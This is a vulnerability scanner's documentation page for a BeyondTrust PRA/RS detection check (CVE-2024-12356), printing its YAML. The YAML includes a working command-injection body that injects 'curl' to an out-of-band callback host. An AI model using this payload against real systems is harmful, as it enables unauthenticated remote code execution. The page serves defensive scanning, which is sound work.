BeyondTrust — 1 vulnerability check
noctis ships 1 vulnerability check for BeyondTrust, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
BeyondTrust PRA/RS Unauthenticated Command Injection RCE
| CVE | CVE-2024-12356 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | set_var, http_request, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/beyondtrust/CVE-2024-12356.yaml |
Fingerprints a BeyondTrust / Bomgar login page, reads the version from /get_rdf and reports versions up to 24.3.x. With OOB enabled it also injects a command into the gskey parameter of /get_gskey and confirms the injection by the callback.
How noctis detects it
- HTTP(S) request
GET /login - Checks
fp_resp.bodyfor(?i)(BeyondTrust|Bomgar) - HTTP(S) request
GET /get_rdf?comp=sdcust&locale_code=en-us - Checks
ver_resp.bodyfor"version":"24\.[0-3]\.→ finding QoD 70: BeyondTrust vulnerable version detected (≤ 24.3.1) — command injection RCE possible (CVE-2024-12356): … - HTTP(S) request
POST /get_gskeywith a crafted body - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: BeyondTrust command injection RCE confirmed via OOB callback (CVE-2024-12356)
Feed source — tests/vulnerabilities/beyondtrust/CVE-2024-12356.yaml
uid: 3a7d6f21-c4b8-4e09-95d2-0e8b3c1f4a72
name: "BeyondTrust PRA/RS Unauthenticated Command Injection RCE (CVE-2024-12356)"
description: "Fingerprints a BeyondTrust / Bomgar login page, reads the version from /get_rdf and reports versions up to 24.3.x. With OOB enabled it also injects a command into the gskey parameter of /get_gskey and confirms the injection by the callback."
cves: [CVE-2024-12356]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [beyondtrust, pra, remote-support, command-injection, rce, kev, pre-auth]
services: [http, https]
author: noctis
version: "1.0.0"
steps:
- id: init-gate
action: set_var
var_name: bt_ok
var_value: false
- id: fingerprint
action: http_request
method: GET
path: "/login"
port: "{{port}}"
tls_insecure: true
store_as: fp_resp
- id: fingerprint-match
action: match
source: fp_resp.body
pattern: "(?i)(BeyondTrust|Bomgar)"
condition: "fp_resp.status == 200"
on_match:
set_vars:
bt_ok: true
- id: version-probe
action: http_request
method: GET
path: "/get_rdf?comp=sdcust&locale_code=en-us"
port: "{{port}}"
tls_insecure: true
store_as: ver_resp
condition: "bt_ok == true"
- id: version-match
action: match
source: ver_resp.body
pattern: "\"version\":\"24\\.[0-3]\\."
condition: "bt_ok == true && ver_resp.status == 200"
on_match:
finding:
confidence_delta: 0.30
qod: 70
evidence: "BeyondTrust vulnerable version detected (≤ 24.3.1) — command injection RCE possible (CVE-2024-12356): {{ver_resp.body}}"
set_vars:
bt_ok: true
- id: oob-probe
action: http_request
method: POST
path: "/get_gskey"
port: "{{port}}"
tls_insecure: true
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "gskey=-e+\\xC0%3b+curl+{{oob_url}}&company=noctis"
store_as: oob_resp
condition: "bt_ok == true && oob_enabled"
- id: wait-callback
action: wait_oob
oob_timeout_secs: 20
condition: "bt_ok == true && oob_enabled"
on_success:
finding:
confidence_delta: 0.65
qod: 97
evidence: "BeyondTrust command injection RCE confirmed via OOB callback (CVE-2024-12356)"
stop: true